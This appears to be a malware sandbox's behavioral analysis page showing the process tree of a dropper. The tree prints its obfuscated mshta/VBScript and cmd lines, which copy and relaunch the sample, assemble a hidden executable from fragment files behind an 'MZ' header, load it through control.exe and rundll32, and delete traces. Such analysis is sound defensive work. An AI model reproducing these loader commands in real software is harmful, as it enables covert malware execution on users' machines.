| ZeroBOX

sfx_123_207.exe "C:\Users\test22\AppData\Local\Temp\sfx_123_207.exe"
1108
- mshta.exe "C:\Windows\System32\mshta.exe" vbSCrIPt:CLOsE( cReaTeoBJeCt ( "wSCRipt.SHElL" ).Run( "C:\Windows\system32\cmd.exe /C coPy /Y ""C:\Users\test22\AppData\Local\Temp\sfx_123_207.exe"" ..\XFLr_FTQ.eXE && StARt ..\xFLR_FTQ.exe -pSEIMItxZzhTvqGZd & IF """"=="""" for %w iN ( ""C:\Users\test22\AppData\Local\Temp\sfx_123_207.exe"" ) do taskkill /f -Im ""%~nXw"" ", 0,TrUE ))
  2680
  - cmd.exe "C:\Windows\system32\cmd.exe" /C coPy /Y "C:\Users\test22\AppData\Local\Temp\sfx_123_207.exe" ..\XFLr_FTQ.eXE && StARt ..\xFLR_FTQ.exe -pSEIMItxZzhTvqGZd & IF ""=="" for %w iN ( "C:\Users\test22\AppData\Local\Temp\sfx_123_207.exe" ) do taskkill /f -Im "%~nXw"
    1332
    - XFLr_FTQ.eXE ..\xFLR_FTQ.exe -pSEIMItxZzhTvqGZd
      492
      - mshta.exe "C:\Windows\System32\mshta.exe" vbSCrIPt:CLOsE( cReaTeoBJeCt ( "wSCRipt.SHElL" ).Run( "C:\Windows\system32\cmd.exe /C coPy /Y ""C:\Users\test22\AppData\Local\Temp\XFLr_FTQ.eXE"" ..\XFLr_FTQ.eXE && StARt ..\xFLR_FTQ.exe -pSEIMItxZzhTvqGZd & IF ""-pSEIMItxZzhTvqGZd ""=="""" for %w iN ( ""C:\Users\test22\AppData\Local\Temp\XFLr_FTQ.eXE"" ) do taskkill /f -Im ""%~nXw"" ", 0,TrUE ))
        2696
        
        cmd.exe "C:\Windows\system32\cmd.exe" /C coPy /Y "C:\Users\test22\AppData\Local\Temp\XFLr_FTQ.eXE" ..\XFLr_FTQ.eXE && StARt ..\xFLR_FTQ.exe -pSEIMItxZzhTvqGZd & IF "-pSEIMItxZzhTvqGZd "=="" for %w iN ( "C:\Users\test22\AppData\Local\Temp\XFLr_FTQ.eXE" ) do taskkill /f -Im "%~nXw"
        1868
      - mshta.exe "C:\Windows\System32\mshta.exe" vbsCRipT:cLose ( cReaTEoBjECT ("WSCriPt.SHELl" ).RuN("Cmd.exe /C EChO | Set /p = ""MZ"" > XAJ5SctM.IMN &COPY /b /y xAJ5sCtM.IMN +E1N4OJ2.AUX + KPeo.Pvp + _OTV19C.~ + EcF9W5.VNQ + pM9uZ.pF + KO6PQ1.bHw ..\QVNGp.I& StArT control.exe ..\QVNGP.I & del /Q * " , 0, true ) )
        3024
        
        cmd.exe "C:\Windows\System32\cmd.exe" /C EChO | Set /p = "MZ" > XAJ5SctM.IMN &COPY /b /y xAJ5sCtM.IMN +E1N4OJ2.AUX+ KPeo.Pvp + _OTV19C.~ +EcF9W5.VNQ + pM9uZ.pF + KO6PQ1.bHw ..\QVNGp.I&StArT control.exe ..\QVNGP.I &del /Q *
        2672
        
        cmd.exe C:\Windows\system32\cmd.exe /S /D /c" EChO "
        1460
        
        cmd.exe C:\Windows\system32\cmd.exe /S /D /c" Set /p = "MZ" 1>XAJ5SctM.IMN"
        540
        
        control.exe control.exe ..\QVNGP.I
        1836
        
        rundll32.exe "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL ..\QVNGP.I
        2448
        
        rundll32.exe C:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL ..\QVNGP.I
        1824
        
        rundll32.exe "C:\Windows\SysWOW64\rundll32.exe" "C:\Windows\SysWOW64\shell32.dll",#44 ..\QVNGP.I
        1204
    - taskkill.exe taskkill /f -Im "sfx_123_207.exe"
      1316
explorer.exe C:\Windows\Explorer.EXE
1848

No process loaded Click on a process in the tree above to load its data.

PID
Parent PID

default registry file network process services synchronisation iexplore office pdf

Behavioral Analysis

Process tree

Process contents